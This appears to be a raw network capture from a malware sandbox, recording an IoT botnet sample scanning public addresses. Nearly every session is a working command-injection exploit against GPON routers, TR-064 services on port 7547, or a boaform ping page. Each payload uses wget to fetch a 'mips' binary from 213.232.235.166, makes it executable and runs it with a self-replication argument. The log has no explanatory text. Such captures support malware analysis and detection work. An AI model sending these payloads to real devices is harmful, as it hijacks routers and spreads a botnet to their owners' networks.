Apr 15, 2024 08:53:50.713509083 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.025832891 CEST	304	IN	HTTP/1.1 400 Bad Request Server: AuraHyperCache Date: Mon, 15 Apr 2024 06:53:50 GMT Content-Type: text/html Content-Length: 138 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1318	192.168.2.13	52602	34.49.166.97	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.761774063 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1319	192.168.2.13	57810	173.232.186.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.762348890 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:50.915374994 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:50 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1320	192.168.2.13	60736	175.203.67.40	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.777571917 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1321	192.168.2.13	37208	108.157.174.76	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.825417042 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.041834116 CEST	1274	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:50 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 d6c3d8e2bcf9b0f41a443121af4c96bc.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MIA3-P3 X-Amz-Cf-Id: VX0alad3paOkFRms8XGET00RaPFe82DhBeqi7chU7pwDij15gqK3mA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 56 58 30 61 6c 61 64 33 70 61 4f 6b 46 52 6d 73 38 58 47 45 54 30 30 52 61 50 46 65 38 32 44 68 42 65 71 69 37 63 68 55 37 70 77 44 69 6a 31 35 67 71 4b 33 6d 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: VX0alad3paOkFRms8XGET00RaPFe82DhBeqi7chU7pwDij15gqK3mA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1322	192.168.2.13	44952	62.29.115.240	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.923768997 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1323	192.168.2.13	55292	172.104.122.124	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:50.967730045 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.221966028 CEST	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1324	192.168.2.13	55124	4.158.26.226	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.009362936 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.305254936 CEST	373	IN	HTTP/1.1 400 Bad Request Server: Microsoft-Azure-Application-Gateway/v2 Date: Mon, 15 Apr 2024 06:53:51 GMT Content-Type: text/html Content-Length: 183 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4d 69 63 72 6f 73 6f 66 74 2d 41 7a 75 72 65 2d 41 70 70 6c 69 63 61 74 69 6f 6e 2d 47 61 74 65 77 61 79 2f 76 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Microsoft-Azure-Application-Gateway/v2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1325	192.168.2.13	40854	71.210.192.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.021437883 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1326	192.168.2.13	53572	78.46.151.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.039733887 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.366388083 CEST	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 15 Apr 2024 06:53:51 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1327	192.168.2.13	50180	119.196.52.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.067079067 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1328	192.168.2.13	60802	175.203.67.40	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.067327023 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1329	192.168.2.13	45204	115.1.111.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.071711063 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1330	192.168.2.13	51392	79.97.251.1	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.097167969 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1331	192.168.2.13	32886	201.94.203.30	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.118479013 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:51.469400883 CEST	230	IN	HTTP/1.1 400 Bad Request Date: Mon Apr 15 00:34:09 2024 Server: TR069 client TCP connection request Server Content-Length: 21 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 20 52 65 71 75 65 73 74 20 4f 4b Data Ascii: Connection Request OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
1332	192.168.2.13	46434	139.192.170.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.120671034 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:51.467612982 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1333	192.168.2.13	40868	71.210.192.44	7547

Timestamp	Bytes transferred	Direction	Data
